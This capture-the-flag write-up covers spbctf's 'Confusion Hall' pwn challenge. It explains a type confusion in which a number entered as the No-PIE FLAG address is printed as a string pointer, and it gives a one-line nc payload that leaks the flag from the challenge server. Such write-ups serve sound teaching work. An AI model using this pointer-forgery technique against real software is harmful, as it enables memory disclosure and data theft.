Confusion Hall
Confusion Hall
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: fixed_address_leak, pointer_forgery, type_confusion
Summary
Task: heap menu program with type confusion — struct number (u64) and struct str (char*) share the same 8-byte slot in a global OBJECTS[] array with no runtime type check. Solution: add a number equal to the fixed address of the No-PIE FLAG global, then show it as a str so printf(%s) dereferences the forged pointer and prints the flag.
Confusion Hall — spbctf
Description
Numbers and Strs. Completely interchangeable.
nc 109.233.56.90 11725
A menu-driven heap program (mc1.elf, source mc1.c provided) that lets you add,
show, and edit two kinds of objects: numbers and strings. The goal is to leak the
FLAG global. The name "Confusion Hall" and the description "Numbers and Strs.
Completely interchangeable" point directly at a type confusion between the two
object types.
Analysis
The program defines two structs, both exactly 8 bytes:
c read-only • copy allowedstruct number { unsigned long long num; // raw 64-bit integer }; struct str { char * data; // heap pointer (strdup'd string) };
Both types are stored in a single shared global array indexed by COUNT:
c read-only • copy allowedvoid * OBJECTS[10]; int COUNT = 0; char FLAG[64]; // populated at startup from flag.txt
The critical flaw: no operation ever checks the runtime type of the object at a
given index. Since both structs are the same size and occupy the same slot, an
object created as a number can be operated on as a str, and vice versa — classic
integer-vs-pointer type confusion.
Two primitives combine into an arbitrary read:
add_number() lets the attacker set the raw 8-byte value directly via scanf:
c read-only • copy allowedscanf("%lld", &i); struct number * newObj = malloc(sizeof(*newObj)); newObj->num = i; // attacker-controlled 64-bit value OBJECTS[COUNT++] = newObj;
show_str() reinterprets whatever 8 bytes live in the slot as a char * and prints
the string it points to:
c read-only • copy allowedstruct str * obj = OBJECTS[i]; printf("Str at [%d]: '%s'\n", i, obj->data); // dereferences the 8 bytes as a pointer
So: create a number whose value is an address, then show_str it → printf("%s")
dereferences that address and prints the memory there.
The last piece is where to point. FLAG is a global buffer filled at startup:
c read-only • copy allowedFILE * f = fopen("flag.txt", "rb"); fgets(FLAG, sizeof(FLAG), f);
The binary is No-PIE, so globals live at fixed addresses. nm gives the address:
$ nm mc1.elf | grep FLAG
0000000000602120 B FLAG
$ checksec --file=mc1.elf # PIE: No PIE (0x400000)
0x602120 = 6299936 in decimal.
Solution
add_number(menu optioni), enter the decimal value 6299936 (=0x602120=&FLAG).scanf("%lld")writes this raw value into the object's 8 bytes, forging achar*that points at the flag global.show_str(menu optiont) on index 0. The confused code treats the number's 8 bytes asstruct str.data, soprintf("%s", data)dereferences0x602120and prints the flag.
No actual UAF or free is needed — pure type confusion between two same-sized structs
sharing OBJECTS[].
One-shot payload
bash read-only • copy allowedprintf 'i\n6299936\nt\n0\n' | nc 109.233.56.90 11725
Output:
Str at [0]: 'spbctf{REDACTED}'